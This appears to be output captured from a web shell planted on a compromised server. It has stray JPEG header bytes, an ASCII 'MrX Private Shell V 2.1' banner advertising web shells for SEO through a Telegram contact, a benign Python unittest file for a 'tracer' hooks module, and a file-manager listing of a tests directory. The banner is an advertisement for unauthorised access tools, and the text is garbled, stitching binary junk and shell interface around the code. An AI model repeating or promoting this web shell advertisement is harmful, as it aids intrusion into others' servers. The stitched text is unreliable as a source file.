����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
from .__meta__ import *
from tracer.hooks import HooksObserver, match
called = None
@match("app1")
def hook_dummy():
global called
called = "dummy"
@match(["app2", "app3"])
def hook_dummy_list():
global called
called = "dummy_list"
@match("foo")
def hook_dummy_append1():
global called
called.append("foo")
@match("bar")
def hook_dummy_append2():
global called
called.append("bar")
class TestHooks(unittest.TestCase):
def setUp(self):
self.observer = HooksObserver()
global called
called = None
def test_hook(self):
self.observer("app1")
self.assertEqual(called, "dummy")
self.observer("app2")
self.assertEqual(called, "dummy_list")
self.observer("app3")
self.assertEqual(called, "dummy_list")
def test_hooks_list(self):
global called
called = []
self.observer("foo")
self.observer("bar")
self.assertListEqual(called, ["foo", "bar"])
def test_undefined_hook(self):
global called
self.observer("undefined")
self.assertIsNone(called)
if __name__ == '__main__':
unittest.main()
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| __pycache__ | Folder | 0755 |
|
|
| __init__.py | File | 0 B | 0644 |
|
| __meta__.py | File | 294 B | 0644 |
|
| test_FilenameCleaner.py | File | 942 B | 0644 |
|
| test_alpm.py | File | 1.29 KB | 0644 |
|
| test_applications.py | File | 3.91 KB | 0644 |
|
| test_collections.py | File | 3.16 KB | 0644 |
|
| test_dnf.py | File | 1.29 KB | 0644 |
|
| test_dpkg.py | File | 1.26 KB | 0644 |
|
| test_hooks.py | File | 1.01 KB | 0644 |
|
| test_lang.py | File | 238 B | 0644 |
|
| test_package.py | File | 371 B | 0644 |
|
| test_portage.py | File | 1.28 KB | 0644 |
|
| test_processes.py | File | 2.38 KB | 0644 |
|
| test_query.py | File | 574 B | 0644 |
|
| test_rules.py | File | 2.19 KB | 0644 |
|
| test_tracer.py | File | 3.4 KB | 0644 |
|
| test_views.py | File | 9.81 KB | 0644 |
|
| test_yum.py | File | 1.26 KB | 0644 |
|